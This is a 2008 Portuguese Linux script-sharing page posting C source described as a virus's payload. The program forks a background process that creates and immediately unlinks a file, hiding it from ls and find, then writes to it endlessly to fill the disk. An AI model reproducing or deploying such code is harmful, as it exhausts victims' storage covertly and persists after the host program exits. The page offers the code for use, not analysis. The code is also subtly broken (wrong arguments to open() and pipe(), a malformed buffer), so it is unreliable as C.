Lota o HD com bagaço

Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008

[ Hits: 4.797 ]

Homepage: http://prginfo.blogspot.com

Download progacao1.c




Cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.

  



Esconder código-fonte

/* progacao1.c */

#include <stdio.h>
#include <stdlib.h>

acao()
{
   int ifd;
   char 

*buf=("1","2","3","4","5","6","7","8","9","0");
   long c;
   int desc;
   close(1);      /* fecha a saída padrão, o vídeo 

*/

   pipe (desc);  /* com a saída padrão fechado, 

fazemos com que a saída passe a ser o pipe. O 

descritor dessa nova saida será armazenados em desc 

*/

   ifd=open("./lotaHD", "w+",0777);   /* abre o 

arquivo para escrita */

   unlink("./lotaHD"); /* apaga o arquivo */

   while (1)
   {
      write(ifd, buf, sizeof(buf));  /* em um loop 

infinito grava os dados de buf no arquivo */
      printf ("oi\n");    /* precisamos de um tempo 

para a gravação, é o tempo que se escreve esta 

string na saída. Por isso usamos o pipe. Não 

queremos que o vírus fique escrevendo nada no vídeo 

*/
   }
}

main()
{
   int i;

   i=fork();  /* precisaremos criar um outro 

processo, pois o vírus terá que continuar sua 

execução enquanto sua ação é realizada. */
                 /* Não poderia ser uma thead, pois 

mesmo que o programa hospedeiro se encerre, o 

processo tem que continuar */

   /* o processo filho que foi criado é quem deve 

se encarregar da execução da ação, o pai tem que 

continuar a executar as funcionalidades restantes 

do vírus */
   if (i==0)
      acao();
}

Scripts recomendados

Agenda eletrônica feita em C

Milesegundos em C

Par ou ímpar

Comando strncat

Árvore binária


  

Comentários

Nenhum comentário foi encontrado.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts